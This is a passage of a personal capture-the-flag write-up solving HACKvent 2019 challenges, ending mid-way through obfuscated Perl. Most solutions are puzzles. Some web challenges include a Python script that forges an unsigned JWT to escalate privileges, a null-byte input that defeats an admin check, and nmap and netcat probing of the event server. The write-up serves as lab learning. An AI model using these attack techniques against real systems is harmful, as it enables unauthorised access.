HACKvent… Initially, I didn’t want to participate at all – or at least not go all in and solve every challenge in time. I started solving the first ones and as the challenges became harder and of course more interesting I got more and more hooked. In the end I did solve them all, and in time.

A big part of the CTF are interactions and discussions with other participants. Thanks and shouts to ludus, jokker, 0xI, multifred, veganjay and others for the good discussions, support and motivation!

This year the event ran on the brand new Hacking Lab 2.0. There are still some minor issues, like the responsive design which can be optimized. The session timeout was a bit short for my taste, but hey Security! 😄 Issues which occurred with some challenges were not Hacking Lab 2.0 related. All in all I got a very good impression of the new HL.

I will never understand how the ranking works in Hacking-Lab. There were three different rankings (the one in the registered event, a public one and a statistics page) and all three seemed to have a different ordering. 😅 Two of the rankings are shown in the print-screens below. The black & green statistics page is probably the most accurate one. At least with the diff in minutes to the fastest perfect scorer the ranking looks about right.

I am very happy to have finished HACKvent as perfect scorer!

HV19.01 censored (Author: M — Level: easy)

Description:

I got this little image, but it looks like the best part got censored on the way. Even the tiny preview icon looks clearer than this! Maybe they missed something that would let you restore the original content?

Censored by Santa!

Solution:

The description already tells us the solution (Even the tiny preview icon looks clearer than this…) We can extract the thumbnail from the image to get the QR Code containing the flag:

$ exiftool -b -ThumbnailImage f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg > thumb.jpg

Flag: HV19{just-4-PREview!}

HV19.02 Triangulation (Author: drschottky — Level: easy)

Description:

Today we give away decorations for your Christmas tree. But be careful and do not break it.

Resources:

a5f47ab8-f151-4741-b061-d2ab331bf641.zip

Solution:

I solved this one on my mobile phone with the following Android app: https://play.google.com/store/apps/details?id=com.performance.meshview&hl=en

First, I used the ‘separate’ function and deleted the two outer layers. After these steps a QR Code became visible.

This is an Aztec Barcode which can be decoded with several tools, one being this online decoder: https://www.onlinebarcodereader.com

Flag: HV19{Cr4ck_Th3_B411!}

HV19.03 Hodor, Hodor, Hodor (Author: otaku feat. trolli101 — Level: easy)

Description:

$HODOR: hhodor. Hodor. Hodor!? = `hodor?!? HODOR!? hodor? Hodor oHodor. hodor? , HODOR!?! ohodor!? dhodor? hodor odhodor? d HodorHodor Hodor!? HODOR HODOR? hodor! hodor!? HODOR hodor! hodor? ! hodor?!? Hodor Hodor Hodor? Hodor HODOR rhodor? HODOR Hodor!? h4Hodor?!? Hodor?!? 0r hhodor? Hodor!? oHodor?! hodor? Hodor Hodor! HODOR Hodor hodor? 64 HODOR Hodor HODOR!? hodor? Hodor!? Hodor!? . HODOR?!? hodor- hodorHoOodoOor Hodor?!? OHoOodoOorHooodorrHODOR hodor. oHODOR... Dhodor- hodor?! HooodorrHODOR HoOodoOorHooodorrHODOR RoHODOR... HODOR!?! 1hodor?! HODOR... DHODOR- HODOR!?! HooodorrHODOR Hodor- HODORHoOodoOor HODOR!?! HODOR... DHODORHoOodoOor hodor. Hodor! HoOodoOorHodor HODORHoOodoOor 0Hooodorrhodor HoOodoOorHooodorrHODOR 0=`; hodor.hod(hhodor. Hodor. Hodor!? );

Solution:

After some googling I found that there is a Hodor programming language… There is an online tool which can run many different programming languages, Hodor included: https://tio.run/#hodor

Awesome, you decoded Hodors language! As sis a real h4xx0r he loves base64 as well. SFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=

The Flag is Base64 encoded and can be decoded with CyberChef.

Flag: HV19{h01d-th3-d00r-4204-ld4Y}

HV19.04 password policy circumvention (Author: DanMcFly — Level: easy)

Description:

Santa released a new password policy (more than 40 characters, upper, lower, digit, special).

The elves can’t remember such long passwords, so they found a way to continue to use their old (bad) password:

merry christmas geeks

Resources:

6473254e-1cb3-444e-9dac-5baeaaaf6d11.zip

Solution:

The ZIP archive contains an AutoHotKey file.

$ cat HV19-PPC.ahk ::merry:: FormatTime , x,, MM MMMM yyyy SendInput, %x%{left 4}{del 2}+{right 2}^c{end}{home}^v{home}V{right 2}{ASC 00123} return ::christmas:: SendInput HV19-pass-w0rd return :*?:is:: Send - {del}{right}4h :*?:as:: Send {left 8}rmmbr{end}{ASC 00125}{home}{right 10} return :*?:ee:: Send {left}{left}{del}{del}{left},{right}e{right}3{right 2}e{right}{del 5}{home}H{right 4} return :*?:ks:: Send {del}R3{right}e{right 2}3{right 2} {right 8} {right} the{right 3}t{right} 0f{right 3}{del}c{end}{left 5}{del 4} return ::xmas:: SendInput, -Hack-Vent-Xmas return ::geeks:: Send -1337-hack return

The AHK file can be loaded with AutoHotkey. The scripts recognizes the pressed keys and replaces “merry christmas geeks” with a valid password. The valid password is the flag we are looking for. It is important not to type too fast, otherwise AutoHotkey will not replace the password correctly. But when done right, the flag appears:

Flag: HV19{R3memb3r, rem3mber – the 24th 0f December}

HV19.05 Santa Parcel Tracking (Author: inik — Level: easy)

Description:

To handle the huge load of parcels Santa introduced this year a parcel tracking system. He didn’t like the black and white barcode, so he invented a more solemn barcode. Unfortunately the common barcode readers can’t read it anymore, it only works with the pimped models santa owns. Can you read the barcode

Solution:

The flag is hidden in the colors of the barcode. The blue value out of RGB is the character code of the hidden message. I created a python script, which reads the image pixel by pixel from left to right and gets the message hidden in the image.

from PIL import Image im = Image.open('code.png','r') width, height = im.size pix_val = list(im.getdata()) res = "" last = "" counter = 0 while counter <= width: x = pix_val[counter][2] if x >= 32 and x <= 132 and x != last: res += chr(x) last = x counter += 1 print(res)

$ python sol.py X8YIOF0ZP4S8HV19{D1fficult_to_g3t_a_SPT_R3ader}S1090OMZE0E3NFP6E

Flag: HV19{D1fficult_to_g3t_a_SPT_R3ader}

HV19.06 bacon and eggs (Author: brp64 — Level: easy)

Description:

Francis Bacon was an English philosopher and statesman who served as Attorney General and as Lord Chancellor of England. His works are credited with developing the scientific method and remained influential through the scientific revolution. Bacon has been called the father of empiricism. His works argued for the possibility of scientific knowledge based only upon inductive reasoning and careful observation of events in nature. Most importantly, he argued science could be achieved by use of a sceptical and methodical approach whereby scientists aim to avoid misleading themselves. Although his practical ideas about such a method, the Baconian method, did not have a long–lasting influence, the general idea of the importance and possibility of a sceptical methodology makes Bacon the father of the scientific method. This method was a new rhetorical and theoretical framework for science, the practical details of which are still central in debates about science and methodology.

Bacon was the first recipient of the Queen’s counsel designation, which was conferred in 1597 when Elizabeth I of England reserved Bacon as her legal advisor. After the accession of James VI and I in 1603, Bacon was knighted. He was later created Baron Verulam in 1618 and Viscount St. Alban in 1621. Because he had no heirs, both titles became extinct upon his death in 1626, at 65 years. Bacon died of pneumonia, with one account by John Aubrey stating that he had contracted the condition while studying the effects of freezing on the preservation of meat. He is buried at St Michael’s Church, St Albans, Hertfordshire.

Born: January 22 Died: April 9 Mother: Lady Anne Father: Sir Nicholas Secrets: unknown

Solution:

According to the description and title it is clear that the Bacon Cipher was applied to this text.

Replace italic letters with ‘a’

Replace non italic letters with ‘b’

This results in roughly this code:

BAAABAAAAAABBAABAABAAAAAAABABAABAAAABAABAABAABAAABAABBBABAAABAAABAAAABAAAAAAAABAABBABABBAAAAAABBAABBBAABAAAAAAABABABAAABABBABBAABAAABBBABAAABAAABAAAABAAAAAAAABAABBABABBAABAABAAABBBAABAAABBBAAAAAABAAABBAAABBABAAABBABBAAAAAAABBABAAABAAABAABBBBAABBBABABAAAABAAAAAAAABAABBBAABBAAAAABAABAAAABBBAAABBBAABAABAAAAABAAABAAABBAAABABAAAABABBABBBAABABAAABAAAAAABBAABBBAABAAAABAABBABABBABABABABABABBAAAAAABAAABBBAABABAAAAAAAAABAAABAABABABBABAAABAAABAABAAABBBAAAABBAAAAAAAAAAAABAABAABAABAABAABABAAABAAAAAABBAAAAABBBAABBBAAABAABAABAABBABBBAABBBAAABAABAAAAAAABAAAAAABAAABAABAAAABABABBABBAAAAAAAAAABABAABABAAAABAAABBBAAAAABAAAAAAAAAAAABABAABAAABAABAAAAAAAAAAAAAA

I decoded the bacon code with https://www.dcode.fr/bacon-cipher and got the message:

SANTALIKESHISBACONBUTALSOTHISBACONTHEPASSWORDISHUXBACPNCIPHERISSIMPLEBUTCOOLXREPLACEXWITHBRACKETSANDUSEUPPERCASEFORALLCHARACTERAA

Flag: HV19{BACONCIPHERISSIMPLEBUTCOOL}

Hidden Flag 01

The first hidden flag of HACKvent 2019 was inside this challenge. The text at the bottom of the description had whitespaces and tabs in it. Whitespace steganography was used to hide the extra flag.

I used Stegsnow to solve this challenge.

$ stegsnow -C input.txt HV19{1stHiddenFound}

Flag: HV19{1stHiddenFound}

HV19.07 Santa Rider (Author: inik — Level: easy)

Description:

Santa is prototyping a new gadget for his sledge. Unfortunately it still has some glitches, but look for yourself.

Resources:

For easy download get: 3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip

Solution:

We can clearly see pattern how the leds light up. The leds light up from right to left and back in a row. In the middle of the video file there is a “glitch”. We can see the lights glowing up in a very fast and weird way. The glitch represents the flag in binary form. To read all the binary values in the video I extracted all the frames from the video.

$ ffmpeg -i 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 thumb%04d.jpg -hide_banner

Afterwards I went over all frames of the video and wrote down the binary message:

01001000 01010110 00110001 00111001 01111011 00110001 01101101 01011111 01100001 01101100 01110011 00110000 01011111 01110111 00110000 01110010 01101011 00110001 01101110 01100111 01011111 00110000 01101110 01011111 01100001 01011111 01110010 00110011 01101101 00110000 01110100 00110011 01011111 01100011 00110000 01101110 01110100 01110010 00110000 01101100 01111101

The flag can be decoded with CyberChef:

Flag: HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}

Hidden Flag 02

The filename of the video file looks suspicious: 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 I first thought it was Base64 decoded, but in the end it was Base58. Fortunately, this is very easy to find with the Magic function of CyberChef: https://gchq.github.io/CyberChef

Flag: HV19{Dont_confuse_0_and_O}

HV19.08 SmileNcryptor 4.0 (Author: otaku — Level: medium)

Description:

You hacked into the system of very-secure-shopping.com and you found a SQL-Dump with $$-creditcards numbers. As a good hacker you inform the company from which you got the dump. The managers tell you that they don’t worry, because the data is encrypted.

Resources:

Dump-File: dump.zip

Solution:

The SQL file looks like this:

-- MySQL dump 10.13 Distrib 5.7.19, for Win64 (x86_64) -- -- Host: localhost Database: secureshopping -- ------------------------------------------------------ -- Server version 5.7.19-log /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `creditcards` -- DROP TABLE IF EXISTS `creditcards`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `creditcards` ( `cc_id` int(11) NOT NULL AUTO_INCREMENT, `cc_owner` varchar(64) DEFAULT NULL, `cc_number` varchar(32) DEFAULT NULL, `cc_expires` varchar(7) DEFAULT NULL, PRIMARY KEY (`cc_id`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `creditcards` -- LOCK TABLES `creditcards` WRITE; /*!40000 ALTER TABLE `creditcards` DISABLE KEYS */; INSERT INTO `creditcards` VALUES (1,'Sirius Black',':)QVXSZUVY\ZYYZ[a','12/2020'), (2,'Hermione Granger',':)QOUW[VT^VY]bZ_','04/2021'), (3,'Draco Malfoy',':)SPPVSSYVV\YY_\\]','05/2020'), (4,'Severus Snape',':)RPQRSTUVWXYZ[\]^','10/2020'), (5,'Ron Weasley',':)QTVWRSVUXW[_Z`\b','11/2020'); /*!40000 ALTER TABLE `creditcards` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `flags` -- DROP TABLE IF EXISTS `flags`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `flags` ( `flag_id` int(11) NOT NULL AUTO_INCREMENT, `flag_prefix` varchar(5) NOT NULL, `flag_content` varchar(29) NOT NULL, `flag_suffix` varchar(1) NOT NULL, PRIMARY KEY (`flag_id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `flags` -- LOCK TABLES `flags` WRITE; /*!40000 ALTER TABLE `flags` DISABLE KEYS */; INSERT INTO `flags` VALUES (1,'HV19{',':)SlQRUPXWVo\Vuv_n_\ajjce','}'); /*!40000 ALTER TABLE `flags` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

Apparently, the creditcard numbers and the flag were encrypted with some proprietary encryption. First, I was thinking about XOR with a key. If the key is found we can reverse all the credit card numbers and the flag as well.

I wrote a Python script which tries to XOR different values with the first characters of all credit card numbers, if the result is a printable character then we have a possible match. Continue with the second position of all credit card numbers and so on…



XOR was not successful, but subtraction was! Here is the Python script which first calculates the key and then decrypts the flag:

s1="QVXSZUVY\\ZYYZ[a" s2="QOUW[VT^VY]bZ_" s3="SPPVSSYVV\\YY_\\]" s4="RPQRSTUVWXYZ[\\]^" s5="QTVWRSVUXW[_Z`\b" s="SlQRUPXWVo\\Vuv_n_\\ajjce" #find key counter = 0 c = 0 key = [] while counter < 130: try: '''print("[+] Trying: " + str(counter)) print(chr(ord(s1[c])-counter)) print(chr(ord(s2[c])-counter)) print(chr(ord(s3[c])-counter)) print(chr(ord(s4[c])-counter)) print(chr(ord(s5[c])-counter))''' for x in range(0, 14): if chr(ord(s1[x])-counter).isdigit() and chr(ord(s2[x])-counter).isdigit() and chr(ord(s3[x])-counter).isdigit() and chr(ord(s4[x])-counter).isdigit() and chr(ord(s5[x])-counter).isdigit(): #print("Found!") key.append(counter) counter += 1 if len(key) == 14: print("[+] Key found:") print(key) break if counter == 130: counter = key[0]+1 key = [] except: counter +=1 if counter == 130: counter = key[0]+1 key = [] #decrypt flag = "HV19{" for x in range(0, len(s)): if x < len(key): flag += chr(ord(s[x]) - key[x]) else: flag += chr(ord(s[x]) - key[len(key)-1] - (x + 1 - len(key))) flag += "}" print("[+] Decrypted Flag") print(flag)

$ python sol.py [+] Key found: [30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43] [+] Decrypted Flag HV19{5M113-420H4-KK3A1-19801}

Flag: HV19{5M113-420H4-KK3A1-19801}

HV19.09 Santas Quick Response 3.0 (Author: brp64 feat. M. — Level: medium)

Description:

Visiting the following railway station has left lasting memories.

Santas brand new gifts distribution system is heavily inspired by it. Here is your personal gift, can you extract the destination path of it?

Solution:

A revers image search of the first image led me to the Wiki page of the Cambridge North railway station. The special design was derived of the Rule 30.

After fiddling around I’ve found out that the correct QR Code and the image of the Rule 30 were over-layed and the colors probably XORed. I used GIMP to reverse this:

Open Rule 30 image

Open QR Code as a Layer

Chose “Difference” mode

Scale the size of the layer to match the background

The hard part was to find the exact position where the images are on top of each other. After some manual trial and error I could find the correct position.

Flag: HV19{Cha0tic_yet-0rdered}

HV19.10 Guess what (Author: inik — Level: medium)

Description:

The flag is right, of course

Resources:

d658ab66-6859-416d-8554-9a4ee0105794_v3.zip

Solution:

Unfortunately I wasted many hours on this, as the binary file was wrong several times. Due to my preparations with the corrupted file I could solve the challenge very quickly, after a working file was released at 20:00 CET.

The flag is obfuscated, but because the comparison of our input with the flag is done with a library call we can easily extract it with the ‘ltrace‘ command:

$ ltrace ./guess3 ... strlen(""HV19{Sh3ll_0bfuscat10n_1s_fut1l"...) = 35 strlen("HV19{Sh3ll_0bfuscat10n_1s_fut1l3"...) = 34

Flag: HV19{Sh3ll_0bfuscat10n_1s_fut1l3}

HV19.11 Frolicsome Santa Jokes API (Author: inik — Level: medium)

Description:

The elves created an API where you get random jokes about santa.

Resources:

Go and try it here: http://whale.hacking-lab.com:10101

Solution:

On the provided website there is the API documentation for the Santa Jokes API:

After trying to find any vulnerabilities in the API calls I did check the access token a bit more in detail… And indeed, the vulnerability is in the access token. The token contains three parts. Each part is separated with a “.” (dot). The middle part contains the access rights of the user. The security issue exists because this part is not encrypted but only Base64 encoded. An attacker can decode the token and change the privileges of the logged in user. This makes it possible to read the flag.

I created a Python script to automate the hack:

import requests import json import base64 URL = "http://whale.hacking-lab.com:10101" REGISTER = "/fsja/register" LOGIN= "/fsja/login" RANDOM= "/fsja/random" headers={'Content-type':'application/json', 'Accept':'application/json'} user = { "username": "mcia", "password": "passwordpassword" } x = requests.post(URL + REGISTER, json = user, headers = headers) #print(x.text) # getToken x = requests.post(URL + LOGIN, json = user, headers = headers) j = json.loads(x.text) #print(x.text) token = j["token"] print("[+] Token is: " + token) # decryptToken t = token.split(".") decoded = base64.b64decode(t[1]) # Evelate privileges print("[+] Evelate privileges!") platinum = base64.b64encode(decoded.replace('platinum":false', 'platinum":true')) token = t[0] + "." + platinum + "." + t[2] print("[+] Get flag...

") x = requests.get(URL + RANDOM, params = {"token":token}, headers = headers) j = json.loads(x.text) print(j)

$ python sol.py [+] Token is: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoibWNpYSIsInBsYXRpbnVtIjpmYWxzZX0sImV4cCI6MTU3NzIwMzQ4MS40NjYwMDAwMDB9.t32Aw1rsmdntcWLaU3DcTdiQQEoVsfgTdVLyolEMwyk [+] Evelate privileges! [+] Get flag... {u'platinum': True, u'joke': u"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}", u'author': u'Santa'}

Flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}

Hidden Flag 03

This challenge contains another hidden flag. In the description of the hidden flag this hint was present “Not each quote is compl”.

I scanned the server with nmap and found a qotd service running. qotd stands for Quote Of The Day. :)

$ sudo nmap -sS whale.hacking-lab.com Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-24 16:12 CET Nmap scan report for whale.hacking-lab.com (80.74.140.188) Host is up (0.023s latency). rDNS record for 80.74.140.188: urb80-74-140-188.ch-meta.net Not shown: 991 filtered ports PORT STATE SERVICE 17/tcp open qotd 22/tcp open ssh 80/tcp closed http 443/tcp closed https 2222/tcp closed EtherNetIP-1 4444/tcp closed krb524 5555/tcp closed freeciv 8888/tcp open sun-answerbook 9001/tcp open tor-orport Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds

The service runs on the port 17 and when connected with netcat it returns 1 character… Every hour another one… With some patience and the following bash one-liner we can solve this:

$ while true; do nc whale.hacking-lab.com 17 >> log.txt; sleep 3600; done &

Flag: HV19{an0ther_DAILY_fl4g}

HV19.12 back to basic (Author: hardlock — Level: medium)

Description:

Santa used his time machine to get a present from the past. get your rusty tools out of your cellar and solve this one!

Resources:

67e6c6c2-1119-4c1e-a9b5-85f118173a40.zip

Solution:

On this day we had to reverse engineer a binary which originally was programmed in Visual Basic. This was pretty hard. In my opinion too hard for a medium level challenge. To solve this one I used Ghidra and OllyDbg.

In the function where the flag is generated the first IF checks if the input is 33 characters long. If it is not 33 characters the status “Wrong” is returned.

uVar3 = __vbaVarCmpEq(local_80,local_160,local_70); uVar3 = __vbaVarCmpEq(local_b0,local_180,local_a0,uVar3); uVar3 = __vbaVarAnd(local_c0,uVar3); uVar3 = __vbaVarCmpEq(local_f0,local_1a0,local_e0,uVar3); uVar3 = __vbaVarAnd(local_100,uVar3); uVar3 = __vbaVarCmpEq(local_130,local_1c0,local_120,uVar3); uVar3 = __vbaVarAnd(local_140,uVar3); local_1c4 = __vbaBoolVarNull(uVar3); __vbaFreeVarList(8,local_60,local_70,local_90,local_a0,local_d0,local_e0,local_110,local_120); if (local_1c4 == 0) { uVar3 = (**(code **)(*piVar6 + 0x300))(piVar6); piVar4 = (int *)__vbaObjSet(&local_50,uVar3); iVar5 = (**(code **)(*piVar4 + 0x54))(piVar4,L"Status: wrong"); }

Afterwards in the loop our input is XORed with something. I didn’t find the key which was used to XOR with. But I did find the result of the XOR in OllyDbg:

My input is HV19{AAAAAAAAAAAA….(0x41) and the XORed result is: “0x47, 0x46, 0x49, 0x48, 0x4B”. XOR is reversible, therefore I can calculate the key which was used to XOR my input:

>>> hex(0x4141414141 ^ 0x474649484b) '0x60708090a'

The key to XOR our input with is “0x06 0x07 0x08 0x09…”. Out of Ghidra we know what the end result of the XOR has to be:

At the memory location 401b40 we find the result bytes:

DAT_00401b40 XREF[1]: FUN_00401f80:00402416(*) 00401b40 36 ?? 36h 6 00401b41 00 ?? 00h 00401b42 6b ?? 6Bh k 00401b43 00 ?? 00h 00401b44 6c ?? 6Ch l 00401b45 00 ?? 00h 00401b46 7a ?? 7Ah z 00401b47 00 ?? 00h 00401b48 69 ?? 69h i 00401b49 00 ?? 00h 00401b4a 63 ?? 63h c 00401b4b 00 ?? 00h 00401b4c 3c ?? 3Ch < 00401b4d 00 ?? 00h 00401b4e 3d ?? 3Dh = 00401b4f 00 ?? 00h 00401b50 62 ?? 62h b 00401b51 00 ?? 00h 00401b52 50 ?? 50h P 00401b53 00 ?? 00h 00401b54 42 ?? 42h B 00401b55 00 ?? 00h 00401b56 74 ?? 74h t 00401b57 00 ?? 00h 00401b58 64 ?? 64h d 00401b59 00 ?? 00h 00401b5a 76 ?? 76h v 00401b5b 00 ?? 00h 00401b5c 66 ?? 66h f 00401b5d 00 ?? 00h 00401b5e 66 ?? 66h f 00401b5f 00 ?? 00h 00401b60 27 ?? 27h ' 00401b61 00 ?? 00h 00401b62 79 ?? 79h y 00401b63 00 ?? 00h 00401b64 7f ?? 7Fh  00401b65 00 ?? 00h 00401b66 46 ?? 46h F 00401b67 00 ?? 00h 00401b68 49 ?? 49h I 00401b69 00 ?? 00h 00401b6a 7e ?? 7Eh ~ 00401b6b 00 ?? 00h 00401b6c 6f ?? 6Fh o 00401b6d 00 ?? 00h 00401b6e 6e ?? 6Eh n 00401b6f 00 ?? 00h 00401b70 2f ?? 2Fh / 00401b71 00 ?? 00h 00401b72 2f ?? 2Fh / 00401b73 00 ?? 00h 00401b74 4e ?? 4Eh N 00401b75 00 ?? 00h

And as we have an addition by two in the loop we get the hex string “36 6b 6c 7a 69 63 3c 3d 62 50 42 74 64 76 66 66 27 79 7f 46 49 7e 6f 6e 2f 2f 4e”. Now we have everything to calculate the flag:

s = [0x36, 0x6b, 0x6c, 0x7a, 0x69, 0x63, 0x3c, 0x3d, 0x62, 0x50, 0x42, 0x74, 0x64, 0x76, 0x66, 0x66, 0x27, 0x79, 0x7f, 0x46, 0x49, 0x7e, 0x6f, 0x6e, 0x2f, 0x2f, 0x4e] key = [0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20] counter = 0 result = "" for x in s: result += chr(x^key[counter]) counter += 1 print("HV19{" + result + "}")

$ python sol12.py HV19{0ldsch00l_Revers1ng_Sess10n}

Flag: HV19{0ldsch00l_Revers1ng_Sess10n}

HV19.13 TrieMe (Author: kiwi — Level: medium)

Description:

Switzerland’s national security is at risk. As you try to infiltrate a secret spy facility to save the nation you stumble upon an interesting looking login portal.

Can you break it and retrieve the critical information?

Resources:

Facility: http://whale.hacking-lab.com:8888/trieme/

34913db9-fd2a-43c8-b563-55a1d10ee4cb.zip

Solution:

The first look at the provided source code made me think that this has to be a serialization vulnerability. But if we look more closely at the details it gets clear we somehow have to become admin and the flag will be revealed.

package com.jwt.jsf.bean; import org.apache.commons.collections4.trie.PatriciaTrie; import java.io.IOException; import java.io.InputStream; import java.io.Serializable; import java.io.StringWriter; import javax.faces.bean.ManagedBean; import javax.faces.bean.SessionScoped; import static org.apache.commons.lang3.StringEscapeUtils.unescapeJava; import org.apache.commons.io.IOUtils; @ManagedBean(name="notesBean") @SessionScoped public class NotesBean implements Serializable { /** * */ private PatriciaTrie<Integer> trie = init(); private static final long serialVersionUID = 1L; private static final String securitytoken = "auth_token_4835989"; public NotesBean() { super(); init(); } public String getTrie() throws IOException { if(isAdmin(trie)) { InputStream in=getStreamFromResourcesFolder("data/flag.txt"); StringWriter writer = new StringWriter(); IOUtils.copy(in, writer, "UTF-8"); String flag = writer.toString(); return flag; } return "INTRUSION WILL BE REPORTED!"; } public void setTrie(String note) { trie.put(unescapeJava(note), 0); } private static PatriciaTrie<Integer> init(){ PatriciaTrie<Integer> trie = new PatriciaTrie<Integer>(); trie.put(securitytoken,0); return trie; } private static boolean isAdmin(PatriciaTrie<Integer> trie){ return !trie.containsKey(securitytoken); } private static InputStream getStreamFromResourcesFolder(String filePath) { return Thread.currentThread().getContextClassLoader().getResourceAsStream(filePath); } }

The security token is stored in a PatriciaTrie object. Very very suspicious is the isAdmin() check: If the security token is NOT stored in the PatriciaTrie we are admin. This sounds like it was done on purpose just for this challenge.

As I didn’t know PatriciaTrie I googled to learn more about it. The most interesting thing I’ve found was a unfixed security vulnerability in PatriciaTree: https://issues.apache.org/jira/browse/COLLECTIONS-714. PatriciaTrie does not differentiate between “x” and “x\u0000” and we can use this to overwrite the security token.

public void testNullTerminatedKey2() { PatriciaTrie<Integer> trie = new PatriciaTrie<>(); trie.put("x", 0); Assert.assertTrue(trie.containsKey("x")); // ok trie.put("x\u0000", 1); Assert.assertTrue(trie.containsKey("x")); // fail }

This is exactly our case, now it is clear why the isAdmin() function was implemented this weird way… To solve this challenge we can enter “auth_token_4835989\u0000” into the text field of the website and collect the flag.

Flag: HV19{get_th3_chocolateZ}

HV19.14 Achtung das Flag (Author: M. (who else) — Level: medium)

Description:

Let’s play another little game this year. Once again, I promise it is hardly obfuscated.

Resources:

use Tk;use MIME::Base64;chomp(($a,$a,$b,$c,$f,$u,$z,$y,$r,$r,$u)=<DATA>);sub M{$M=shift;## @m=keys %::;(grep{(unpack("%32W*",$_).length($_))eq$M}@m)[0]};$zvYPxUpXMSsw=0x1337C0DE;### /_help_me_/;$PMMtQJOcHm8eFQfdsdNAS20=sub{$zvYPxUpXMSsw=($zvYPxUpXMSsw*16807)&0xFFFFFFFF;}; ($a1Ivn0ECw49I5I0oE0='07&3-"11*/(')=~y$!-=$`-~$;($Sk61A7pO='K&:P3&44')=~y$!-=$`-~$;m/Mm/g; ($sk6i47pO='K&:R&-&"4&')=~y$!-=$`-~$;;;;$d28Vt03MEbdY0=sub{pack('n',$fff[$S9cXJIGB0BWce++] ^($PMMtQJOcHm8eFQfdsdNAS20->()&0xDEAD));};'42';($vgOjwRk4wIo7_=MainWindow->new)->title($r) ;($vMnyQdAkfgIIik=$vgOjwRk4wIo7_->Canvas("-$a"=>640,"-$b"=>480,"-$u"=>$f))->pack;@p=(42,42 );$cqI=$vMnyQdAkfgIIik->createLine(@p,@p,"-$y"=>$c,"-$a"=>3);;;$S9cXJIGB0BWce=0;$_2kY10=0; $_8NZQooI5K4b=0;$Sk6lA7p0=0;$MMM__;$_=M(120812).'/'.M(191323).M(133418).M(98813).M(121913) .M(134214).M(101213).'/'.M(97312).M(6328).M(2853).'+'.M(4386);s|_||gi;@fff=map{unpack('n', $::{M(122413)}->($_))}m:...:g;($T=sub{$vMnyQdAkfgIIik->delete($t);$t=$vMnyQdAkfgIIik->#FOO createText($PMMtQJOcHm8eFQfdsdNAS20->()%600+20,$PMMtQJOcHm8eFQfdsdNAS20->()%440+20,#Perl!! "-text"=>$d28Vt03MEbdY0->(),"-$y"=>$z);})->();$HACK;$i=$vMnyQdAkfgIIik->repeat(25,sub{$_=( $_8NZQooI5K4b+=0.1*$Sk6lA7p0);;$p[0]+=3.0*cos;$p[1]-=3*sin;;($p[0]>1&&$p[1]>1&&$p[0]<639&& $p[1]<479)||$i->cancel();00;$q=($vMnyQdAkfgIIik->find($a1Ivn0ECw49I5I0oE0,$p[0]-1,$p[1]-1, $p[0]+1,$p[1]+1)||[])->[0];$q==$t&&$T->();$vMnyQdAkfgIIik->insert($cqI,'end',\@p);($q==### $cqI||$S9cXJIGB0BWce>44)&&$i->cancel();});$KE=5;$vgOjwRk4wIo7_->bind("<$Sk61A7pO-n>"=>sub{ $Sk6lA7p0=1;});$vgOjwRk4wIo7_->bind("<$Sk61A7pO-m>"=>sub{$Sk6lA7p0=-1;});$vgOjwRk4wIo7_#%" ->bind("<$sk6i47pO-n>"=>sub{$Sk6lA7p0=0 if$Sk6lA7p0>0;});$vgOjwRk4wIo7_->bind("<$sk6i47pO" ."-m>"=>sub{$Sk6lA7p0=0 if 